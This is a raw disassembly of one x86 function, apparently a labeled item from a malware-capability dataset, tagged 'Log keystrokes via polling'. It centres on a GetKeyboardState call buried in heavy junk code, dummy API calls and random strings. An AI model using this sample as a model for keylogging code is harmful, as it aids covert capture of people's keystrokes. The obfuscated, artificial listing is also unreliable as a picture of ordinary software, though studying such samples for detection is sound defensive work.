Function at 0x100400d5
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, 0x10061870
call fcn.1005fe44
sub esp, 0x268
push ebx
xor ebx, ebx
mov dword [ebp - 0x34], 0x9ac78948
push esi
mov byte [ebp - 0x1d], bl
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xa8], edx
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x1b4], ebx
cmp byte [ebp - 0x1d], bl
je 0x10040112
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], bl
je 0x1004012b
push 0x240c
push 0xaa1
push ebx
call dword [sym.imp.USER32.dll_DeleteMenu]
mov dword [ebp - 0x18], 0x4604
cmp dword [ebp - 0x18], 0x48d2
jle 0x10040193
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x1c], 0x27f1
mov eax, esi
mov ecx, 0x1007bfb8
and eax, edi
cdq
push edx
push eax
call fcn.1000dd80
add esi, ebx
dec dword [ebp - 0x1c]
jne 0x10040157
mov esi, dword [ebp - 0x2c]
dec ebx
cmp ebx, 0xffff99be
jg 0x1004014d
inc esi
mov dword [ebp - 0x2c], esi
push 0
pop ebx
cmp esi, 0xa95
jl 0x1004014a
inc edi
cmp edi, 0x1433
jl 0x10040145
mov dword [ebp - 0x34], 0xde2bbef7
mov dword [ebp - 0x24], ebx
jmp 0x100401ad
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x58], 0xfffffff9
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 1
jl 0x1004019f
mov dword [ebp - 0x58], 0xfffffff3
jmp 0x10040205
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x24], 0xd
jmp 0x100401dd
cmp byte [ebp - 0x1d], 0
je 0x100401da
push ebx
push ebx
call dword [sym.imp.USER32.dll_UnregisterClassA]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x16
mov byte [ebp - 0x1d], bl
je 0x100401cc
cmp byte [ebp - 0x1d], 0
je 0x10040202
push ebx
push 0x198d
push 0x15ed
push 0x212f
call dword [sym.imp.GDI32.dll_MoveToEx]
dec dword [ebp - 0x58]
cmp dword [ebp - 0x58], 0xffffffee
jle 0x100401bc
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x18], 0x42a7
jge 0x10040226
mov edx, str.awei_vdkkbc_lpxuzu
mov ecx, 0x1007bfb8
call fcn.10010bec
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x34]
movdqa xmm0, xmmword [0x1006e950]
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x1dc]
mov dword [ebp - 0x68], 0xe033e05
push eax
push ebx
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x64], 0x33060d02
mov byte [ebp - 0x60], bl
mov dword [ebp - 0x5f], 0x42b011b
mov byte [ebp - 0x5b], 0xd
movdqu xmmword [ebp - 0x1dc], xmm0
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x8c], ebx
call fcn.10011607
mov dword [ebp - 0x1c], 0xfffffffc
xor esi, esi
mov dword [ebp - 0x34], 0xffffffff
inc esi
mov dword [ebp - 0x24], ebx
jmp 0x100402d1
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xa4], 0xfffffffd
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x100402c0
push 3
pop eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jl 0x10040329
mov dword [ebp - 0x18], 0xba1bf2b2
mov dword [ebp - 0x2c], 0x77cc4247
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jl 0x10040324
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jl 0x1004031c
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x94]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
dec dword [ebp - 0x24]
jns 0x10040302
push 3
pop eax
dec dword [ebp - 0x2c]
dec dword [ebp - 0x18]
jns 0x100402f7
dec dword [ebp - 0x1c]
jns 0x100402e1
lea ecx, [ebp - 0x94]
call fcn.1000e145
push 0x6c
pop eax
push 2
mov word [ebp - 0x112], ax
pop edi
movzx eax, byte [ebp + edi - 0x6a]
movzx edx, byte [ebp + edi - 0x67]
movzx ecx, word [ebp + eax*2 - 0x11c]
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
movzx eax, byte [ebp + edi - 0x68]
add edx, ecx
add edi, 2
mov word [ebp + eax*2 - 0x11c], dx
cmp edi, 0xe
jb 0x10040341
xor eax, eax
mov ecx, 0xffff
mov word [ebp - 0x10e], ax
mov eax, 0xd2eb2fc2
mov dword [ebp - 0x18], 0x78144ad7
mov dword [ebp - 0x28], 0xedcc590f
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x2c], 0xfffffffd
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x30], 0x3923bfa4
dec dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x28]
cmp dword [ebp - 0x18], eax
jl 0x100403ee
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ecx
sbb eax, eax
inc eax
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, 0xcbaa
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], 0x1543f36f
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
sub ecx, eax
je 0x10040414
mov eax, esi
cmp dword [ebp - 0x28], ebx
jne 0x10040416
mov eax, ebx
xor ecx, ecx
cmp ecx, eax
mov ecx, dword [ebp - 0x2c]
sbb eax, eax
inc eax
cmp eax, 9
sbb eax, eax
xor edx, edx
neg eax
sub ecx, eax
mov eax, dword [ebp - 0x7c]
cmp ecx, 0x672a
setge dl
xor ecx, ecx
sub edx, 0xe160
cmp eax, edx
setg cl
cmp ecx, dword [ebp - 0x88]
jne 0x10040472
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x100405a4
push 0x2292
push ebx
push ebx
push ebx
push ebx
push 0xcf2
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x100405a4
mov dword [ebp - 0x1c], ebx
lea ecx, [ebp - 0x134]
push 4
call fcn.1000e06f
mov dword [ebp - 4], 2
mov dword [ebp - 0x24], ebx
jmp 0x100404a1
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x134]
mov dword [eax + ecx*4], 0xff013ec5
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1004048e
cmp dword [ebp - 0x2c], ebx
je 0x1004056f
push dword [ebp - 0xa4]
movdqa xmm0, xmmword [0x1006e970]
lea eax, [ebp - 0x1dc]
push eax
lea eax, [ebp - 0x1ec]
mov dword [ebp - 0x2c], 0x5443
push eax
push ebx
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0xa0], ebx
movdqu xmmword [ebp - 0x1ec], xmm0
mov dword [ebp - 0x9c], ebx
mov dword [ebp - 0x98], ebx
call fcn.10011607
cmp dword [ebp - 0x84], ebx
jne 0x10040541
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x1c], eax
jg 0x10040513
mov ecx, esi
cmp dword [ebp - 0x1c], ebx
jne 0x10040515
mov ecx, ebx
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
imul eax, ecx
xor ecx, ecx
cmp eax, 0xfffffff7
setne cl
imul eax, ecx, 0x2550
add eax, 0xa766
cmp dword [ebp - 0x28], eax
jne 0x1004053d
cmp dword [ebp - 0x1c], ebx
jne 0x10040541
mov edx, ebx
jmp 0x10040543
mov edx, esi
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp eax, edx
setg cl
sub ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x134]
mov dword [eax + 0xc], ecx
lea ecx, [ebp - 0xa0]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], esi
call fcn.1000e145
jmp 0x10040595
mov dword [ebp - 0x24], ebx
jmp 0x1004058f
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x1004058c
push ebx
push ebx
push 0x254e
push ebx
push ebx
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamA]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jle 0x10040574
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x134]
call fcn.1000e145
xor eax, eax
mov dword [ebp - 0x188], 7
mov word [ebp - 0x19c], ax
lea ecx, [ebp - 0x19c]
lea eax, [ebp - 0x11c]
mov dword [ebp - 0x18c], ebx
push eax
call fcn.10019c41
push 3
pop edx
mov dword [ebp - 4], edx
lea edi, [ebp - 0x11c]
xor eax, eax
stosd dword es:[edi], eax
push 0xfffffffffffffffb
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x28], 0x9c1464f1
mov dword [ebp - 0x1c], esi
pop edi
mov dword [ebp - 0x30], 0x6ed9
mov dword [ebp - 0x164], edi
mov dword [ebp - 0x160], edi
mov dword [ebp - 0x15c], edi
mov dword [ebp - 0x158], edi
push 2
mov dword [ebp - 0x40], 0x89a98e57
mov dword [ebp - 0x18], ebx
pop ecx
jmp 0x1004062a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x48], 0xcadd635
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1004061c
mov dword [ebp - 0x18], ebx
jmp 0x10040641
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1b0], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10040634
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
neg eax
test eax, eax
jg 0x10040657
cmp dword [ebp - 0x28], ebx
jne 0x10040659
mov esi, ebx
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp esi, eax
mov eax, dword [ebp - 0x28]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setl dl
xor ecx, ecx
cmp eax, edx
setge cl
xor eax, eax
cmp ecx, 0x4392f209
setg al
imul eax, dword [ebp - 0x28]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x28]
cmp eax, 0x7fd1e814
jle 0x100406a3
cmp dword [ebp - 0x48], ebx
jne 0x100406a3
mov eax, ebx
jmp 0x100406a6
xor eax, eax
inc eax
cmp edi, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x28], eax
je 0x10040716
mov eax, dword [ebp - 0x44]
neg eax
jne 0x100406fb
cmp dword [ebp - 0x48], ebx
jne 0x100406c0
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
xor edx, edx
neg eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
imul ecx, eax, 0xffff
mov dword [ebp - 0x1ac], ecx
mov eax, dword [ebp - 0x48]
cmp ecx, eax
mov eax, dword [ebp - 0x48]
setge dl
sub edx, eax
jne 0x100406eb
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x48], 1
jg 0x100406fb
mov edx, ebx
jmp 0x100406fe
xor edx, edx
inc edx
mov eax, dword [ebp - 0x44]
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x1c]
jge 0x10040716
cmp dword [ebp - 0x1c], ebx
je 0x10040716
mov eax, ebx
jmp 0x10040719
xor eax, eax
inc eax
mov edx, dword [ebp - 0x44]
xor ecx, ecx
imul edx, dword [ebp - 0x48]
imul edx, eax
mov eax, dword [ebp - 0x48]
cmp eax, edx
setne cl
mov dword [ebp - 0x48], ecx
cmp dword [ebp - 0x1c], 1
jge 0x10040740
cmp dword [ebp - 0x30], ebx
je 0x10040740
xor edx, edx
inc edx
jmp 0x10040742
mov edx, ebx
mov eax, dword [ebp - 0x15c]
xor ecx, ecx
push dword [ebp - 0xa8]
cmp edx, eax
sete cl
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x1cc]
call fcn.1000de95
mov byte [ebp - 4], 4
mov dword [ebp - 0x24], 0x860b4ffb
mov dword [ebp - 0x18], 0xfffffff7
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x40], 0xa1434a93
mov dword [ebp - 0x3c], 0xfa025ec5
mov dword [ebp - 0x2c], ebx
jmp 0x100407a0
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x74], 0xffffffff
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 1
jl 0x10040792
mov dword [ebp - 0x24], ebx
jmp 0x100407b7
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x74], ebx
jne 0x100407bc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x100407ab
cmp dword [ebp - 0x18], ebx
jne 0x100407c4
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
cmp eax, 0xbc0d
mov eax, dword [ebp - 0x30]
setne cl
xor edx, edx
cmp ecx, eax
setne dl
sub edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
neg edx
mov eax, dword [ebp - 0x1c]
sbb edx, edx
inc edx
sub ecx, edx
xor edx, edx
cmp ecx, eax
mov ecx, 0xd44c039e
setle dl
xor eax, eax
cmp edx, 2
setne al
cmp ecx, eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x74]
je 0x1004080f
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
imul eax, dword [ebp - 0x18], 0xd42a
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 0x7f64
cmp dword [ebp - 0x24], 0x834b
jle 0x1004087e
push ebx
push 0xa0b
call dword [sym.imp.GDI32.dll_GetClipBox]
mov esi, ebx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x2c], 0xc8e
mov edi, ebx
mov ebx, dword [ebp - 0x1c]
mov eax, edi
mov ecx, 0x1007bfb8
and eax, ebx
cdq
push edx
push eax
call fcn.1000dd80
inc edi
cmp edi, 0x4ac7
jl 0x1004084f
dec ebx
dec dword [ebp - 0x2c]
push 0
mov dword [ebp - 0x1c], ebx
pop ebx
jne 0x1004084a
inc esi
cmp esi, 0x11a2
jl 0x10040840
mov dword [ebp - 0x28], 0x5425
mov dword [ebp - 0x30], 0x21b07fb0
mov dword [ebp - 0x34], 0x1ac7eb23
mov dword [ebp - 0x34], 0xfffffffe
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x34], 6
mov dword [ebp - 0x34], 1
push 4
mov dword [ebp - 0x34], 5
pop edx
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x28], ebx
je 0x100408c7
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp eax, 0xc0e
setg cl
lea eax, [ecx*8 + 0x30]
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x1c]
mov byte [ebp - 4], 5
cmp dword [ebp - 0x24], 0x7eb2
jge 0x10040939
mov edx, str.bbmdi_sxq_teqefdua_bsr
mov ecx, 0x1007bfb8
call fcn.10010bec
jmp 0x10040936
push 4
pop edx
mov dword [ebp - 4], edx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x2c], ebx
jmp 0x10040963
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xbc], 0xffffffff
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edx
jl 0x10040952
mov dword [ebp - 0x18], ebx
jmp 0x100409dd
mov dword [ebp - 0x1c], 0xce4b0ad8
xor ecx, ecx
mov dword [ebp - 0x30], 9
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xbc]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xbc]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xbc]
mov dword [ebp - 0x1c], ebx
imul eax, dword [ebp - 0x18], 0xebf0
add eax, dword [ebp - 0x1c]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x18]
setl cl
sub ecx, dword [ebp + eax*4 - 0xbc]
mov dword [ebp - 0x30], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jle 0x1004096d
mov byte [ebp - 0x50], bl
mov byte [ebp - 0x4f], 0x3d
mov byte [ebp - 0x4e], dl
mov dword [ebp - 0x4d], 0xab18d658
mov dword [ebp - 0x38], 0x6c9c
cmp dword [ebp - 0x38], 0x6de4
jle 0x10040a4a
mov edi, ebx
mov esi, ebx
lea eax, [esi + edi]
cdq
lea ecx, [ebp - 0x214]
push edx
push eax
call fcn.10001a9f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10040a23
mov eax, dword [eax]
push eax
call fcn.10047a23
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x214]
call fcn.1000e875
inc esi
cmp esi, 0x6221
jl 0x10040a08
inc edi
cmp edi, 0x39e3
jl 0x10040a06
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x18], 0xf5020f89
mov dword [ebp - 0x1c], 0x8787d636
mov dword [ebp - 0x30], 0xfffffff8
mov dword [ebp - 0x40], 0x17a6
mov dword [ebp - 0x34], 0xfffffffd
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jl 0x10040bcf
mov dword [ebp - 0x2c], 0x6f8c7b5c
mov dword [ebp - 0x1c], 8
cmp dword [ebp - 0x24], ebx
jne 0x10040bcf
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jne 0x10040ab7
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x1c], 7
test eax, eax
jne 0x10040ab7
mov ecx, ebx
jmp 0x10040aba
xor ecx, ecx
inc ecx
xor eax, eax
cmp ecx, 0xfffffffa
setge al
sub eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
mov eax, dword [ebp - 0x40]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setg cl
mov dword [ebp - 0x3c], ecx
xor ecx, ecx
cmp dword [ebp - 0x3c], eax
setg cl
cmp ecx, 3
jl 0x10040bb5
mov dword [ebp - 0x28], 0x18c
cmp dword [ebp - 0x28], 0x30b
jle 0x10040b93
mov edx, ebx
mov dword [ebp - 0x2c], ebx
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov esi, ebx
mov eax, esi
and eax, edi
and eax, ecx
lea ecx, [ebp - 0x25c]
xor eax, edx
cdq
push edx
push eax
call fcn.10001a9f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10040b48
mov eax, dword [eax]
push eax
call fcn.10047a23
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x25c]
call fcn.1000e875
mov ecx, dword [ebp - 0x1c]
inc esi
mov edx, dword [ebp - 0x2c]
cmp esi, 0x69b2
jl 0x10040b28
inc edi
cmp edi, 0x398
jl 0x10040b26
inc ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, 0x333f
jl 0x10040b24
inc edx
mov dword [ebp - 0x2c], edx
cmp edx, 0x7706
jl 0x10040b1f
call dword [sym.imp.GDI32.dll_GdiFlush]
cmp dword [ebp - 0x18], ebx
jne 0x10040bcf
cmp dword [ebp - 0x28], 0xfffffda7
jge 0x10040bac
push str.lunuzurpo_jglilsy_teem_gjx_hqszq_bzjxj_ekclztel_ktjxmc
call fcn.10047a23
pop ecx
mov dword [ebp - 4], 4
jmp 0x10040bc7
mov dword [ebp - 0x3c], 0xf85a
mov eax, dword [ebp - 0x3c]
add eax, 0x50e8
mov dword [ebp - 0x1c], eax
dec dword [ebp - 0x18]
jmp 0x10040a7d
cmp dword [ebp - 0x38], 0x6b0c
jge 0x10040be3
push str.ubbwe_oeh_dewdmmbm_qsqyeuc_vapik_txtzhgj
call fcn.10047a23
pop ecx
mov dword [ebp - 4], 4
mov dl, byte [ebp - 0x4f]
movzx esi, byte [ebp - 0x50]
mov al, dl
or al, 0x61
and dl, 0x61
movzx ecx, al
add esi, esi
movzx eax, dl
sub cx, ax
push 2
mov word [ebp + esi - 0x54], cx
mov ecx, ebx
pop edi
add esi, edi
cmp edi, esi
jne 0x10040c20
movzx eax, byte [ebp + edi - 0x50]
dec edi
add edi, eax
lea ecx, [eax + 1]
jmp 0x10040c47
movzx edx, byte [ebp + edi - 0x4f]
mov eax, edi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x52]
movzx eax, word [ebp + eax*2 - 0x54]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + edi - 0x50]
mov word [ebp + eax*2 - 0x54], cx
mov ecx, ebx
add edi, 2
cmp edi, 7
jb 0x10040c0f
xor eax, eax
lea ecx, [ebp - 0x1a8]
mov word [ebp - 0x52], ax
mov dword [ebp - 0x34], ebx
push 2
call fcn.1000e06f
push 2
lea ecx, [ebp - 0x128]
mov byte [ebp - 4], 0xb
call fcn.1000e06f
push 2
mov dword [ebp - 0x34], 0x362
mov dword [ebp - 0x18], ebx
pop edx
jmp 0x10040c98
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1a8]
mov dword [eax + ecx*4], 1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x10040c85
mov dword [ebp - 0x18], ebx
jmp 0x10040cb5
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x128]
mov dword [eax + ecx*4], 0xfffffff6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x10040ca2
mov eax, dword [ebp - 0x128]
dec dword [eax]
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10040cd2
push ebx
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
lea ecx, [ebp - 0x128]
call fcn.1000e145
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 4], 4
call fcn.1000e145
xor eax, eax
mov dword [ebp - 0xf0], 7
mov word [ebp - 0x104], ax
lea ecx, [ebp - 0x104]
lea eax, [ebp - 0x54]
mov dword [ebp - 0xf4], ebx
push eax
call fcn.10019c41
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x30], 0x71d
cmp dword [ebp - 0x30], 0xa54
mov dword [ebp - 0x34], str.kzhpe_zaijos_wvby_tsxv_oxltqum_sedoa_tqjwf_emjvj
jle 0x10040d76
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x22c]
xor eax, edi
cdq
push edx
push eax
call fcn.10001a9f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10040d4f
mov eax, dword [eax]
push eax
call fcn.10047a23
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x22c]
call fcn.1000e875
inc esi
cmp esi, 0x39e4
jl 0x10040d33
inc edi
cmp edi, 0x72af
jl 0x10040d31
mov dword [ebp - 0x18], 0x90ac204e
mov dword [ebp - 0x24], 0x79cc
cmp dword [ebp - 0x24], 0x7c8a
jle 0x10040e75
push 0x1da3
push ebx
push 0x1952
push ebx
push 0x23f0
push ebx
call dword [sym.imp.KERNEL32.dll_CompareStringW]
mov eax, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov dword [ebp - 0x2c], ebx
mov esi, ebx
mov dword [ebp - 0x38], ebx
lea ecx, [esi + edi]
mov dword [ebp - 0x3c], ebx
mov esi, ecx
mov dword [ebp - 0x40], ecx
and esi, eax
mov edi, ebx
mov eax, edi
lea ecx, [ebp - 0x244]
xor eax, esi
cdq
push edx
push eax
call fcn.10001a9f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10040de3
mov eax, dword [eax]
push eax
call fcn.10047a23
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x244]
call fcn.1000e875
inc edi
cmp edi, 0xfc5
jl 0x10040dc7
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x2c]
inc esi
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x38], esi
cmp esi, 0x72f
jl 0x10040db8
inc edi
mov dword [ebp - 0x2c], edi
cmp edi, 0x1523
jl 0x10040db3
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x5028
jl 0x10040dae
push ebx
push 0xeb2
push 0x113a
push 0x1ec0
push 0x1e0e
push 0x21d8
push 0x1f92
push 0x9ef
push 0xe19
push 0x17c7
push 0xf38
push 0x19f
push 0xc9d
push 0x24df
call dword [sym.imp.GDI32.dll_CreateFontA]
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x24], 0x761d
jge 0x10040e8c
push str.jaq_knq_ummkl_jlnujnx_fwc_mrqhuk_fndf_ynmj_wtq_utskesmw_riefgc_gxrdzwc_cbcywlsy
call fcn.10047a23
pop ecx
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x28], 0xc65b
mov dword [ebp - 0x1c], 0x6e3268dd
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x18], 0xffffffe7
jmp 0x10040f7a
mov dword [ebp - 0x24], 0x95e17ca0
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x24], 0xc
jmp 0x10040f6d
mov dword [ebp - 0x38], 0x719d8726
mov dword [ebp - 0x1c], 0x1fc80ae7
mov dword [ebp - 0x2c], ebx
jmp 0x10040eee
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xac], 0xfffffff6
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 1
jl 0x10040edd
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x38]
cmp eax, ecx
setg dl
xor eax, eax
cmp edx, 0x2cc9105f
setge al
xor edx, edx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setg dl
cmp edx, dword [ebp - 0x18]
jne 0x10040f3a
cmp dword [ebp - 0x3c], ebx
je 0x10040f3a
xor eax, eax
inc eax
jmp 0x10040f3c
mov eax, ebx
mov dword [ebp - 0x1c], eax
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
cmp eax, ecx
mov eax, dword [ebp - 0x28]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xac]
setge cl
mov dword [ebp - 0x38], ecx
xor ecx, ecx
cmp dword [ebp - 0x38], eax
setge cl
mov dword [ebp - 0x1c], ecx
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe3
jle 0x10040eca
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff5
jne 0x10040eb0
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 0x1d
jle 0x100410e2
mov dword [ebp - 0x38], 0xd18
cmp dword [ebp - 0x38], 0xf6a
jle 0x10040fdf
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x3c], ebx
mov ebx, esi
mov esi, 0x6cb0
mov eax, edi
mov ecx, 0x1007bfb8
or eax, ebx
cdq
push edx
push eax
call fcn.1000dd80
dec ebx
dec esi
jne 0x10040faf
mov esi, dword [ebp - 0x3c]
inc esi
mov dword [ebp - 0x3c], esi
cmp esi, 0x3c32
jl 0x10040fa8
